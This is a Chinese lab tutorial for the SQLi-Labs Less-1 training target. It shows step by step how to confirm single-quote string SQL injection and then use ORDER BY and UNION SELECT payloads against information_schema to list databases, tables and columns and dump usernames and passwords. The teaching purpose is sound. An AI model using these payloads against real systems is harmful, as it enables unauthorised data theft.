您当前的位置:首页 > 计算机 > 安全防护

【less-1】基于SQLI的SQL字符型报错注入

时间:03-12来源:作者:点击数:

实验目的

通过本实验理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。

实验环境

渗透主机:KALI平台

目标网站:SQLI平台的Less-1科目

注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)

实验原理

1.MySQL语言的注释语法:

– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

2.Less-1源代码:

(1)进入SQLI网站的源码路径

在这里插入图片描述
在这里插入图片描述

使用命令 vim index.php浏览Less-1所对应的网页源码

在这里插入图片描述

可以看到页面中显示:

在这里插入图片描述

在URL后面输入?id=1,得到了 登录名:Dumb,以及密码:Dumb

在这里插入图片描述

仔细阅读源码

在这里插入图片描述

得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:

在这里插入图片描述

实验步骤

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-1

(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1。

在这里插入图片描述

(2)在上面的URL末端加上?id=1的动态参数,页面显示登录用户名Dumb、密码Dumb:

在这里插入图片描述

第三步 尝试判断是否存在SQL注入以及哪种注入类型

(1)经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。

在这里插入图片描述

(2)尝试在id后面加上’(单引号),发现页面回显不正常,表示可能存在SQL字符注入。

在这里插入图片描述

(3)输入- -+将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。

在这里插入图片描述

第四步 手工SQL注入获得数据库的用户名与密码

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ order by N - -+

在这里插入图片描述

(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,2,3 - -+

在这里插入图片描述

(3)利用sql查询语句爆破出数据库内的数据库名。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

在这里插入图片描述

(4)利用sql查询语句爆破出security数据库内的表名。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+

在这里插入图片描述

(5)利用sql查询语句爆破出users数据表内的列名。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’ --+

在这里插入图片描述

(6)利用sql查询语句爆破出username、password列的值。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

在这里插入图片描述

思考与总结

通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门